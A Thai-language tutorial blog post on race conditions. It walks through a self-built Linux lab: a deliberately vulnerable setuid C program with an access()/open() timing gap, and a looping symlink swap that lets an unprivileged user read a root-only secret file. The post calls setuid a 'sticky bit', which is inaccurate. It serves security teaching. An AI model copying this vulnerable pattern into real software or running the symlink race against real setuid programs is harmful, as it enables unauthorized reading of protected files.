Race Condition คือการกระทำสิ่งใดๆในช่วงเวลาหนึ่งเวลาใดที่ใกล้เคียงกันมาก ซึ่งอาจทำให้เราสามารถ bypass permission การอ่านหรือว่าการข้ามการตรวจสอบค่าของระบบไปได้ เช่น การโอนเงินออก แต่เป็นการกระทำในช่วงเวลาที่ใกล้เคียงกันมาก สมมติ ในบัญชีมีเงินทั้งหมด 100$ หากนาย A กดเงินจาก ATM ออกตอนเวลา 19:00:001 แล้วนาย B กดเงินออกตอนเวลา 19:00:002 (เวลาเสี้ยววินาทีซึ่งเป็นการสมมติ) หากไม่มีการ lock ค่าการเปลี่ยนแปลงไว้ ตอนที่ A กดเงินออกก็จะได้เงินออกไป แล้ว B กดเงินออกก็จะเอาเงินออกไปได้เช่นกัน เพราะทางระบบก็จะเห็นว่ายังมีเงินคงเหลืออยู่ 100$ นั่นเอง ซึ่งเหตุการณ์ดังกล่าวเคยเกิดมาแล้วใน America(ตามข่าวคือทำภายใน 60 วินาที)
นอกเหนือจากตัวอย่างดังกล่าวก็ยังมีช่องโหว่ที่เกิดจากการใช้ Race Condition เช่นกัน นั่นคือ Dirty COW นั่นเอง
ทีนี้เรามาเล่นกับเรื่องการอ่านไฟล์กัน
ระบบที่ใช้ในการทดสอบ: Linux ใดๆก็ได้
1. Login ด้วย root user
2. ทำการสร้าง user ใหม่ขึ้นมา ในที่นี้คือ noob user
1 |
adduser noob |
3. ทำการสร้างไฟล์ภาษา c โดยมีเนื้อหาเป็น
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <time.h> #include <sys/time.h> int main(int argc, char **argv) { char *file; char buffer[4096]; int ffd, rc, i, j; struct timeval t0, t1; long dt; if(argc < 2) { printf("%s file\n\tPrints file if you have access to it\n", argv[0]); exit(1); } file = argv[1]; gettimeofday(&t0, NULL); // TIME OF CHECK if(access(argv[1], R_OK) == 0) { for (i=0; i<100000; i++) { j = (j*i) % 1000; } // WASTE SOME TIME gettimeofday(&t1, NULL); // TIME OF USE ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } printf("%s\n", buffer); dt = (t1.tv_sec - t0.tv_sec) * (int)1e6 + (t1.tv_usec - t0.tv_usec); printf("Vulnerable time interval: %d microsec\n", dt); } else { printf("You don't have access to %s\n", file); } } |
จากไฟล์ภาษา c ดังกล่าวเราจะเห็นว่าตัวไฟล์มีการเช็คว่าตัว user มีสิทธิ์อ่านไฟล์หรือไม่ใน if(access(argv[1], R_OK) == 0) ซึ่งถ้าไม่ได้ก็จะขึ้นเป็น “You don’t have access to %s” และหากผ่านไปได้ก็จะมี loop หน่วงเวลาที่ทำให้เกิดช่องโหว่ จากนั้นมันถึงจะเข้าไปอ่านไฟล์นั้นๆต่ออีกที
4. ทำการ compile c แล้วให้ไฟล์ที่ compile ออกมาเป็น sticky bit
1 2 3 |
gcc -o race race.c chmod 4755 race cp -p race /home/noob |
5. ทีนี้สิ่งเราที่ทำต่อคือการสร้างไฟล์สำหรับเก็บความลับขึ้นมา ซึ่งในที่นี้ให้ชื่อว่า secret (ผมใส่เป็นคำว่า “techsuii”)
1 2 |
echo "techsuii" >> /home/noob/secret chmod 600 /home/noob/secret |
6. Login เป็น user noob
1 |
su noob |
7. ที่ home ของ noob ให้สร้างไฟล์ public ขึ้นมา แล้วใส่ข้อความใดๆก็ได้ ในที่นี้จะใส่เป็น “Public”
1 |
echo "Public" >> /home/noob/public |
8. ทีนี้ลองใช้งาน race file ที่ถูก root compile มา
1 2 |
./race public ./race secret |
จะพบว่าเราไม่สามารถอ่านไฟล์ secret ได้ และเรามีเวลาประมาณ 1498 microsec ที่กระทำการใดๆหลังการเช็ค permission แล้ว
9. ทีนี้ให้เราทำ Soft link ขึ้นมาโดยใช้คำสั่งเป็น (เปลี่ยนจากคำว่า link เป็นอะไรก็ได้นะครับ)
1 |
ln -s public link |
แล้วลองอ่านอีกที
1 |
./race link |
จะพบว่าอ่านได้
10. แต่พอลองอีกทีเป็นการสร้าง Soft link ไปยัง secret จะพบว่าไม่ได้
1 2 |
noob@bfbc78e29825:~$ ln -s secret link ln: failed to create symbolic link 'link': File exists |
ทีนี้หากเราต้องการจะ force ในการสร้างจะใช้คำสั่งเป็น
1 |
ln -sf secret link |
แต่ก็ยังอ่านไฟล์ไม่ได้อยู่ดี
11. ทีนี้จากข้อ 8 จะพบว่าเรามีเวลาประมาณ 1000 – 1500 microsec ในการที่จะข้ามการตรวจสอบ permission กล่าวคือ ในตอนแรก link จะเป็นตัวที่เชื่อมไปยัง public ซึ่งเรามีสิทธิ์ในการอ่าน แต่หลังจากนั้นเราจะทำการเปลี่ยน link ให้ชี้ไปยัง secret แทน โดยสิ่งที่เราจะทำคือการวนสร้าง soft link ไปยัง public และ secret สลับไปมาเรื่อยๆนั่นเอง โดยใช้คำสั่งเป็น
1 |
while true; do ln -sf secret link; ln -sf public link; done & |
ซึ่งการทำงานนี้จะเป็นแบบ background process คือเปลี่ยนไปเรื่อยสลับไปเรื่อยๆภายในช่วงไม่กี่ microsec
12. ต่อจากนี้คือเราก็พยายามรัน ./race ไปยัง link วนไปเรื่อยๆ ซึ่งมันต้องมีซักครั้งแหล่ะที่ตอนแรกมันเป็น public แต่พอเปิดไฟล์กลับกลายเป็น secret แทน
1 |
for i in {1..30}; do ./race link; done |
Reference::
- https://web.archive.org/web/20150215200218/https://exco.in/
- https://blog.detectify.com/2016/12/15/7-biggest-web-security-news-2016/
- https://github.com/insp3ctre/race-the-web
- https://sakurity.com/blog/2015/05/21/starbucks.html
- https://samsclass.info/127/proj/p11xrace.htm